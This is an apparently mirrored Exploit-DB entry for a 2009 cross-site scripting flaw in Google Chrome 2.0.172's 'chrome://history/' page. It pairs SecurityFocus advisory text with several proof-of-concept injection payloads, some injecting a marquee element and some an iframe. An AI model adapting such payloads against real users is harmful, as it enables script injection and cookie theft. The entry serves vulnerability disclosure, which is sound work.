Exploit Google Chrome 2.0.172 - 'chrome://history/' URI Cross-Site Scripting

[Exploiter]

EDB-ID

33124

Проверка EDB

1. Пройдено

Автор

KARN GANESHEN

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2009-06-28

source: https://www.securityfocus.com/bid/35841/info

Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Chrome 2.0.172.37 is vulnerable; other versions may also be affected. 

chrome://history/#q=%22%3E%3Cmarquee%3E%3Ch1%3Ebikolinux%3C%2Fh1%3E%3C%2Fmarquee%3E

view-source:chrome://history/#q="><marquee><h1>bikolinux</h1></marquee>

chrome://history/#q=%22&#039;%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
%3E%3C%2Fiframe%3E

chrome://history/#q=%22&#039;%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22